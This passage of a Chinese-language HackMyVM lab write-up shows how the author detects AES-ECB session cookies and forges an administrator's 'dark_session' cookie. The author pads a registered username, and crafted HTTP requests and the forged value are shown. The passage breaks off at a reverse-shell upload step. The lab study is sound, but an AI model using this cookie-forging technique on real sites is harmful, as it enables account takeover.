alt=\"image-20250620222008455\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u200b   \u5f53\u8fdb\u884c\u5230\u6700\u540e\u4e00\u4e2a\u7684\u65f6\u5019\u62a5\u9519\u4e86\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506210258213.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506210258213.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20250620222247787\" style=\"zoom:33%;\" \/><\/div><\/p>\n<p>\u200b      \u53d1\u73b0\u5728\u7528\u6237\u540d\u6216\u5bc6\u7801\u957f\u7684\u65f6\u5019\uff0c\u524d\u9762\u7684\u524d\u7f00\u662f\u4e00\u6837\u7684\uff0c\u4f46\u662f\u540e\u9762\u622a\u7136\u4e0d\u540c\uff0c\u4e14\u5f53\u7528\u6237\u540d\u6216\u5bc6\u7801\u957f\u5ea6\u4e0d\u540c\u65f6\uff0ccookie\u957f\u5ea6\u53ef\u80fd\u76f8\u540c\uff0c\u8bf4\u660e\u53ef\u80fd\u662f\u5757\u52a0\u5bc6\u65b9\u5f0f\uff0c\u5728\u957f\u5ea6\u4e0d\u591f\u7684\u65f6\u5019\u8fdb\u884c\u586b\u5145\uff0c\u8fbe\u5230\u4e00\u5b9a\u4f4d\u6570\u7684\u65f6\u5019\u8fdb\u884c\u52a0\u5bc6\uff0c\u53ef\u4ee5\u901a\u8fc7\u4e00\u4e2a\u4e00\u4e2a\u6ce8\u518c\u5f97\u5230\u90a3\u4e2a\u4f4d\u6570\uff0c\u53ef\u4ee5\u57fa\u672c\u786e\u5b9a\u662f AES128 \u52a0\u5bc6\u3002<\/p>\n<blockquote>\n<table>\n<thead>\n<tr>\n<th style=\"text-align: center;\"><strong>\u7279\u6027<\/strong><\/th>\n<th style=\"text-align: center;\"><strong>AES-128<\/strong><\/th>\n<th style=\"text-align: center;\"><strong>AES-192<\/strong><\/th>\n<th style=\"text-align: center;\"><strong>AES-256<\/strong><\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td style=\"text-align: center;\"><strong>\u5bc6\u94a5\u957f\u5ea6<\/strong><\/td>\n<td style=\"text-align: center;\">128 \u4f4d\uff0816 \u5b57\u8282\uff09<\/td>\n<td style=\"text-align: center;\">192 \u4f4d\uff0824 \u5b57\u8282\uff09<\/td>\n<td style=\"text-align: center;\">256 \u4f4d\uff0832 \u5b57\u8282\uff09<\/td>\n<\/tr>\n<tr>\n<td style=\"text-align: center;\"><strong>\u52a0\u5bc6\u8f6e\u6570<\/strong><\/td>\n<td style=\"text-align: center;\">10 \u8f6e<\/td>\n<td style=\"text-align: center;\">12 \u8f6e<\/td>\n<td style=\"text-align: center;\">14 \u8f6e<\/td>\n<\/tr>\n<tr>\n<td style=\"text-align: center;\"><strong>\u5b89\u5168\u5f3a\u5ea6<\/strong><\/td>\n<td style=\"text-align: center;\">\u57fa\u7840\u5b89\u5168\u6027\uff08\u6297\u66b4\u529b\u7834\u89e3\u9700 2128 \u6b21\uff09<\/td>\n<td style=\"text-align: center;\">\u4e2d\u7b49\u5b89\u5168\u6027\uff082192 \u6b21\uff09<\/td>\n<td style=\"text-align: center;\">\u6700\u9ad8\u5b89\u5168\u6027\uff082256 \u6b21\uff09<\/td>\n<\/tr>\n<tr>\n<td style=\"text-align: center;\"><strong>\u6027\u80fd\u5f00\u9500<\/strong><\/td>\n<td style=\"text-align: center;\">\u6700\u4f4e\uff08\u8ba1\u7b97\u6700\u5feb\uff09<\/td>\n<td style=\"text-align: center;\">\u4e2d\u7b49<\/td>\n<td style=\"text-align: center;\">\u6700\u9ad8\uff08\u8ba1\u7b97\u6700\u6162\uff09<\/td>\n<\/tr>\n<tr>\n<td style=\"text-align: center;\"><strong>\u9002\u7528\u573a\u666f<\/strong><\/td>\n<td style=\"text-align: center;\">\u79fb\u52a8\u8bbe\u5907\u3001\u5b9e\u65f6\u901a\u4fe1\uff08\u5982 TLS 1.3\uff09<\/td>\n<td style=\"text-align: center;\">\u4f01\u4e1a\u7ea7\u6570\u636e\u52a0\u5bc6\uff08\u8f83\u5c11\u4f7f\u7528\uff09<\/td>\n<td style=\"text-align: center;\">\u519b\u4e8b\u3001\u91d1\u878d\u3001\u533a\u5757\u94fe\u7b49\u9ad8\u654f\u611f\u9886\u57df<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/blockquote>\n<p>\u200b      \u7136\u540e\u610f\u8bc6\u5230\u4e00\u4e2a\u6709\u610f\u601d\u7684\u5730\u65b9\uff0c\u8fd9\u4e2acookie\u5e94\u8be5\u548c\u5bc6\u7801\u6ca1\u5173\u7cfb\uff0c\u56e0\u4e3a\u6211\u4eec\u9700\u8981\u6784\u9020\u7684\u6b63\u662f\u7ba1\u7406\u5458<code>simpleAdmin<\/code>\uff08\u4fe1\u606f\u641c\u96c6\u5230\u7684\uff09\u7684cookie\uff0c\u5982\u679c\u6709\u5bc6\u7801\u5c31\u4e0d\u9700\u8981\u8fdb\u884c\u6784\u9020\u4e86\u3002\u3002\u3002\u3002\u3002<\/p>\n<p>\u518d\u6ce8\u518c\u51e0\u4e2a\u627e\u5230\u6070\u597d\u591a\u5206\u4e00\u4e2a\u5757\u7684\u90a3\u4e2a\u7279\u6b8a\u957f\u5ea6\uff1a<\/p>\n<pre><code class=\"language-bash\">aaaaaaaaaa ==&gt; Hxs4O2FVu%2FQM9EqHsnvrOA%3D%3D ==&gt; Hxs4O2FVu\/QM9EqHsnvrOA==\naaaaaaaaaaaa ==&gt; FUoxH12UY%2FN58pkbRNAAf8JwkfrsOdSxW16pbszGJLY%3D ==&gt; FUoxH12UY\/N58pkbRNAAf8JwkfrsOdSxW16pbszGJLY=\n                                                                      FUoxH12UY\/N58pkbRNAAfw3VkIUgMs7BjIoGhLHIvrE=\naaaaaaaaaaa ==&gt; OuQ8RKZ9v61RFPShspbyzg%3D%3D ==&gt; OuQ8RKZ9v61RFPShspbyzg==<\/code><\/pre>\n<p>\u53ef\u4ee5\u76f4\u5230\u957f\u5ea6\u4e3a 12 \u65f6\u5019\u52a0\u5bc6\u591a\u4e86\u4e00\u5757\uff0c\u53ef\u77e5\u586b\u5145\u4e86 5 \u4e2a\u5b57\u8282\u7684\u672a\u77e5\u6570\u636e\uff0c12 + 5 -16 = 1 ,\u591a\u4e86\u4e00\u4e2a\u5b57\u8282\uff0c\u6545\u65b0\u586b\u5145\u4e86\u4e00\u4e2a\u5757\u3002<\/p>\n<h4>ECB \u52a0\u5bc6<\/h4>\n<p>\u5c1d\u8bd5\u521b\u5efa\u4e00\u4e2a\u5f88\u957f\u4e14\u91cd\u590d\u7684\u7528\u6237\uff0c\u4f7f\u4e24\u4e2a\u5757\u7684\u957f\u5ea6\u76f8\u540c\uff0c\u770b\u770b\u662f\u5426\u5b58\u5728\u91cd\u590d\uff0c\u501f\u6b64\u5224\u65ad\u662f\u54ea\u79cd\u586b\u5145\u65b9\u5f0f\uff1a<\/p>\n<pre><code class=\"language-bash\">aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa(40)\nFUoxH12UY%2FN58pkbRNAAf0Kfd1bvz3G39ZMOl2HnjTG6fpyT%2BeTDSMZZI3t8yCtj\nFUoxH12UY\/N58pkbRNAAf0Kfd1bvz3G39ZMOl2HnjTG6fpyT+eTDSMZZI3t8yCtj\n# \u518d\u957f\u4e00\u70b9\uff0c\u5e76\u672a\u591a\u5206\u51fa\u4e00\u4e2a\u5757\u3002\u3002\u3002\u3002\naaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa(45)\nFUoxH12UY%2FN58pkbRNAAf0Kfd1bvz3G39ZMOl2HnjTFCn3dW789xt%2FWTDpdh540xx5DP1Yb6SI4MM0Hr7sTwjg%3D%3D\nFUoxH12UY\/N58pkbRNAAf0Kfd1bvz3G39ZMOl2HnjTFCn3dW789xt\/WTDpdh540xx5DP1Yb6SI4MM0Hr7sTwjg==<\/code><\/pre>\n<p>\u5c06\u5bc6\u6587\u6539\u4e3a<code>url &gt; base64 &gt; hex<\/code>\u89e3\u5bc6\u5373\u53ef\u770b\u5230\u91cd\u590d\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506210258214.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506210258214.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20250620235035507\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u53ef\u4ee5\u786e\u5b9a\u662f<code>ECB<\/code>\u52a0\u5bc6\u65b9\u5f0f\uff0c\u5176\u4ed6\u52a0\u5bc6\u65b9\u5f0f\u57fa\u672c\u4e0a\u90fd\u4e0d\u4f1a\u51fa\u73b0\u91cd\u590d\uff0c\u4f1a\u51fa\u73b0\u8f6e\u8f6c\u4e4b\u7c7b\u7684\u597d\u50cf\u3002<\/p>\n<h3>PKCS7\u586b\u5145<\/h3>\n<p>\u6709\u4e24\u79cd\u586b\u5145\u65b9\u5f0f\u731c\u6d4b\uff1a<\/p>\n<ul>\n<li>\n<p><strong>PKCS7 Padding<\/strong>\uff1a\u586b\u5145\u5b57\u8282\u7684\u503c\u7b49\u4e8e\u7f3a\u5c11\u7684\u5b57\u8282\u6570\uff0c<\/p>\n<ul>\n<li>\u7f3a 3 \u5b57\u8282 \u2192 \u586b\u5145 <code>0x03 0x03 0x03<\/code><\/li>\n<li>\u7f3a 16 \u5b57\u8282 \u2192 \u586b\u5145 <code>0x10 0x10 ... 0x10<\/code>\uff08\u5171 16 \u5b57\u8282\uff09<\/li>\n<\/ul>\n<\/li>\n<li>\n<p><strong>Zero Padding<\/strong>\uff1a\u7f3a\u5931\u5b57\u8282\u7528 <code>0x00<\/code> \u586b\u5145\u3002<\/p>\n<ul>\n<li>\u7f3a 3 \u5b57\u8282 \u2192 \u586b\u5145 <code>0x00 0x00 0x00<\/code><\/li>\n<li>\u7f3a 16 \u5b57\u8282 \u2192 \u586b\u5145 16 \u4e2a <code>0x00<\/code><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p>\u8fd9\u91cc\u7684 12 \u4f4d\u5b57\u8282\u586b\u5145\u6210\u4e86\u4fe9\u5757\uff0c\u4f46\u662f 11 \u5374\u53ea\u6709\u4e00\u4e2a\u5757\uff0c\u6240\u4ee5 12 \u586b\u5145\u4e86\u4e00\u6574\u4e2a\u5757\uff0c\u6216\u8005\u8bf4 11 \u586b\u5145\u5b8c\u4e00\u4e2a\u6070\u597d\u6210\u4e3a\u4e00\u4e2a\u5757\uff0c\u6545\u6700\u540e\u586b\u5145\u7684\u662f<code>0x01<\/code>\uff0c\u8fd8\u6dfb\u52a0\u4e86\u4e00\u4e2a 4 \u5b57\u8282\u957f\u5ea6\u7684<code>salt<\/code>\u503c\uff0c\u5f88\u96be\u7406\u89e3\u662f\u5417\uff0c\u6211\u4e5f\u662f\u8fd9\u4e48\u60f3\u7684\u3002\u3002<\/p>\n<blockquote>\n<p>\u83dc\u72d7me\uff1a\u96be\u9053\u4e0d\u53ef\u80fd\u6070\u597d16\u4e2a\u5b57\u8282\u4e0d\u5c31\u4e0d\u7528\u586b\u5145\u4e86\uff1f<\/p>\n<p>\u4f1f\u5927\u7684AI\uff1aPKCS7\u586b\u5145\u89c4\u5219\u662f\u5f53\u6570\u636e\u957f\u5ea6\u4e0d\u8db3\u5757\u5927\u5c0f\u65f6\uff0c\u8865\u8db3\u5230\u5757\u5927\u5c0f\u7684\u6574\u6570\u500d\u3002\u800c\u5982\u679c\u6570\u636e\u521a\u597d\u662f\u5757\u5927\u5c0f\u7684\u6574\u6570\u500d\uff0c\u6bd4\u5982AES\u768416\u5b57\u8282\uff0c\u4ecd\u7136\u9700\u8981\u586b\u5145\u4e00\u4e2a\u5b8c\u6574\u7684\u5757\u3002\u4f8b\u5982\uff0c16\u5b57\u8282\u7684\u6570\u636e\u4f1a\u88ab\u586b\u514516\u4e2a\u5b57\u8282\u76840x10\u3002\u8fd9\u6837\u505a\u7684\u76ee\u7684\u662f\u4e3a\u4e86\u533a\u5206\u6709\u6548\u6570\u636e\u548c\u586b\u5145\u6570\u636e\u3002<\/p>\n<\/blockquote>\n<p>\u989d\uff0c\u5bc6\u7801\u5b66\u771f\u662f\u4e00\u95e8\u4f1f\uff08kong\uff09\u5927\uff08bu\uff09\u7684\u5b66\u95ee\u3002\u3002\u3002\u3002<\/p>\n<h4>\u4f2a\u9020\u4e0d\u540c\u7528\u6237\u540d\u4f46cookie\u76f8\u540c\u7684\u60c5\u51b5<\/h4>\n<p>\u8fd9\u6837\u7684\u8bdd\u6211\u4eec\u5c31\u53ef\u4ee5\u77e5\u9053\u76ee\u6807\u7684\u60c5\u51b5\u4e86\uff0c\u4f46\u662f\u6211\u4eec\u8fd8\u6709\u4e00\u70b9\u9700\u8981\u89e3\u51b3\uff0c\u90a3\u5c31\u662f\u76d0\u7684\u4f4d\u7f6e\uff0c\u4e4b\u524d\u957f\u5ea6\u8d85\u6807\u7684\u5bc6\u6587\u524d\u7f00\u90fd\u662f\u76f8\u540c\u7684\uff0c\u4e14\u4e0d\u91cd\u590d\uff0c\u8bf4\u660e\u76d0\u662f\u5728\u660e\u6587\u524d\u9762\u7684\uff0c\u6bd4\u5982\uff1a<\/p>\n<pre><code class=\"language-bash\">FUoxH12UY\/N58pkbRNAAfw3VkIUgMs7BjIoGhLHIvrE=\nFUoxH12UY\/N58pkbRNAAf0Kfd1bvz3G39ZMOl2HnjTEN1ZCFIDLOwYyKBoSxyL6x<\/code><\/pre>\n<p>\u6240\u4ee5\u73b0\u5728\u6240\u6709\u7684\u95ee\u9898\u90fd\u89e3\u51b3\u4e86\uff1a<\/p>\n<ul>\n<li><code>simpleAdmin<\/code>\u4e3a\u7ba1\u7406\u5458\u7528\u6237\uff0c\u5171 11 \u5b57\u8282<\/li>\n<li><code>dark_session<\/code> \u7531<code>salt + username + PKCS7<\/code>\u5148 base64 \u518d url \u7f16\u7801\u6784\u6210\u3002<\/li>\n<li>4 + 11 + 1 == 4 + \uff0811 + 1\uff09\u5373<code>simpleAdmin<\/code>\u4e0e\u7528\u6237<code>simpleAdmin0x01<\/code>\u6784\u6210\u7684\u5bc6\u6587\u524d\u9762\u5b8c\u5168\u76f8\u540c\uff01\uff01\uff01\uff01\u540e\u8005\u591a\u4e86\u4e00\u4e2a\u5b8c\u5168\u7531<code>0x10<\/code>\u7ec4\u6210\u7684\u586b\u5145\u5757\uff0c\u53ef\u4ee5\u89c6\u800c\u4e0d\u89c1\uff01<\/li>\n<\/ul>\n<p>\u8fdb\u884c\u6ce8\u518c\uff0curl\u7f16\u7801\u9700\u8981\u4f7f\u7528<code>%01<\/code>\u8fdb\u884c\u63a7\u5236\uff0c\u5c1d\u8bd5\u8fdb\u884c\u6293\u5305\uff1a<\/p>\n<pre><code class=\"language-bash\">POST \/register.php HTTP\/1.1\nHost: dark.disguise.hmv\nCache-Control: max-age=0\nContent-Type: application\/x-www-form-urlencoded\nUpgrade-Insecure-Requests: 1\nAccept-Language: zh-CN,zh;q=0.9\nReferer: http:\/\/dark.disguise.hmv\/register.php\nOrigin: http:\/\/dark.disguise.hmv\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/137.0.0.0 Safari\/537.36\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.7\nAccept-Encoding: gzip, deflate\nCookie: PHPSESSID=jpk0kguhvfp65sbi3ut4d183hs\nContent-Length: 36\n\nusername=a&amp;password=a&amp;captcha=2JVL8C<\/code><\/pre>\n<p>\u8fdb\u884c\u4fee\u6539\uff0c\u6211\u8fd9\u91cc\u56e0\u4e3a\u8bef\u64cd\u4f5c\uff0c\u5bfc\u81f4\u521b\u5efa\u4e86\u9519\u8bef\u7684\u7528\u6237\u540d\uff0c\u53ea\u80fd\u91cd\u65b0\u5bfc\u5165\u9776\u673a\u518d\u6765\u4e86\u3002\u3002\u3002\u3002<\/p>\n<blockquote>\n<p>\u5bfc\u5165\u5b8c\u9776\u673a\uff0cIP\u53d8\u4e86\uff0cYakit\u4e5f\u8981\u91cd\u542f\uff0c\u5426\u5219\u597d\u50cf\u4e0d\u66f4\u65b0 hosts<\/p>\n<\/blockquote>\n<pre><code class=\"language-bash\">POST \/register.php HTTP\/1.1\nHost: dark.disguise.hmv\nReferer: http:\/\/dark.disguise.hmv\/register.php\nCache-Control: max-age=0\nContent-Type: application\/x-www-form-urlencoded\nAccept-Language: zh-CN,zh;q=0.9\nCookie: PHPSESSID=o6qrldi4ugpjot3gcibnhi6ndl\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/137.0.0.0 Safari\/537.36\nOrigin: http:\/\/dark.disguise.hmv\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.7\nAccept-Encoding: gzip, deflate\nContent-Length: 43\n\nusername=simpleAdmin%01&amp;password=aaaa&amp;captcha=564B93<\/code><\/pre>\n<p>\u770b\u4e00\u4e0b\u54cd\u5e94\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506210258215.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506210258215.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20250621005903883\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u5565\u60c5\u51b5\u554a\u8fd9\u3002\u3002\u3002\u3002\u3002\u6211\u4e4b\u524d\u8fd8\u4ee5\u4e3a\u6211\u641e\u9519\u4e86\u5462\u3002\u3002\u3002\u3002\u4e0d\u7ba1\u4ed6\u52ab\u6301\uff0c\u7136\u540e\u76f4\u63a5\u4fee\u6539\u5b8c\u76f4\u63a5\u653e\u884c\u5373\u53ef\uff1a<\/p>\n<pre><code class=\"language-bash\">POST \/register.php HTTP\/1.1\nHost: dark.disguise.hmv\nContent-Type: application\/x-www-form-urlencoded\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/137.0.0.0 Safari\/537.36\nAccept-Encoding: gzip, deflate\nCache-Control: max-age=0\nCookie: PHPSESSID=o6qrldi4ugpjot3gcibnhi6ndl\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.7\nOrigin: http:\/\/dark.disguise.hmv\nUpgrade-Insecure-Requests: 1\nReferer: http:\/\/dark.disguise.hmv\/register.php\nAccept-Language: zh-CN,zh;q=0.9\nContent-Length: 43\n\nusername=simpleAdmin%01&amp;password=pass&amp;captcha=EGW42R<\/code><\/pre>\n<p>\u8bb0\u5f97\u591a\u653e\u884c\u51e0\u6b21\uff0c\u5b8c\u6210\u8df3\u8f6c\u624d\u7b97\u6ce8\u518c\u6210\u529f\uff01\uff01\uff01\uff01<\/p>\n<p>\u7136\u540e\u518d\u52ab\u6301\u767b\u5f55\u754c\u9762\uff0c\u4fee\u6539\u7528\u6237\u540d\u767b\u5f55\u5373\u53ef\u83b7\u53d6<code>dark_session<\/code>\uff1a<\/p>\n<pre><code class=\"language-bash\">POST \/login.php HTTP\/1.1\nHost: dark.disguise.hmv\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.7\nCache-Control: max-age=0\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/137.0.0.0 Safari\/537.36\nAccept-Encoding: gzip, deflate\nCookie: PHPSESSID=cfbf7fm4s3lo22ggj87mpshcnk\nAccept-Language: zh-CN,zh;q=0.9\nOrigin: http:\/\/dark.disguise.hmv\nContent-Type: application\/x-www-form-urlencoded\nReferer: http:\/\/dark.disguise.hmv\/login.php\nContent-Length: 28\n\nusername=simpleAdmin%01&amp;password=pass<\/code><\/pre>\n<p>\u83b7\u5f97\u76f8\u5173\u5185\u5bb9\uff1a<\/p>\n<pre><code class=\"language-bash\">GET \/profile.php HTTP\/1.1\nHost: dark.disguise.hmv\nCache-Control: max-age=0\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/137.0.0.0 Safari\/537.36\nReferer: http:\/\/dark.disguise.hmv\/login.php\nAccept-Language: zh-CN,zh;q=0.9\nCookie: PHPSESSID=cfbf7fm4s3lo22ggj87mpshcnk; dark_session=%2B1%2B3%2FNxCLcIR0Jq9qDudF8JwkfrsOdSxW16pbszGJLY%3D\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.7\nAccept-Encoding: gzip, deflate<\/code><\/pre>\n<p>\u5c1d\u8bd5\u8fdb\u884c\u89e3\u5bc6\uff0c\u4f2a\u9020\u76f8\u5173\u5185\u5bb9\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506210258216.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506210258216.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20250621012624453\" style=\"zoom:50%;\" \/><\/div><\/p>\n<pre><code class=\"language-bash\">fb5fb7fcdc422dc211d09abda83b9d17c27091faec39d4b15b5ea96eccc624b6\nfb5fb7fcdc422dc211d09abda83b9d17\nc27091faec39d4b15b5ea96eccc624b6<\/code><\/pre>\n<p>\u54b1\u4eec\u53ea\u8981\u4e0a\u9762\u7684\u5c31\u884c\u4e86\uff01\uff01\uff01\uff01<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506210258217.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506210258217.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20250621012820094\" style=\"zoom:50%;\" \/><\/div><\/p>\n<pre><code class=\"language-bash\">%2B1%2B3%2FNxCLcIR0Jq9qDudFw%3D%3D<\/code><\/pre>\n<p>\u4f7f\u7528\u8fd9\u4e2a<code>dark_session<\/code>\u5373\u53ef\u8fdb\u884c\u4f2a\u9020\u767b\u5f55\uff01\uff08\u76f4\u63a5\u66ff\u6362\u539f\u6709\u7684\u518d\u5237\u65b0\u5373\u53ef\uff01\uff09<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506210258218.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506210258218.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20250621013037003\" style=\"zoom:50%;\" \/><\/div><\/p>\n<h3>\u4e0a\u4f20\u6587\u4ef6\u53cd\u5f39shell<\/h3>\n<p>\u770b\u770b\u6709\u5565\u6743\u9650\u53ef\u4ee5\u8fdb\u884c\u83b7\u53d6shell\uff01\uff01\uff01<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506210258219.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506210258219.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20250621013109532\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u53ef\u4ee5\u4e0a\u4f20\u6587\u4ef6\uff01\uff01\uff01\uff01\uff01\u5c1d\u8bd5\u4e0a\u4f20\u4e00\u4e2a\u53cd\u5f39shell\uff0c\u770b\u770b\u80fd\u4e0d\u80fd\u8fdb\u884c\u6fc0\u6d3b\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' 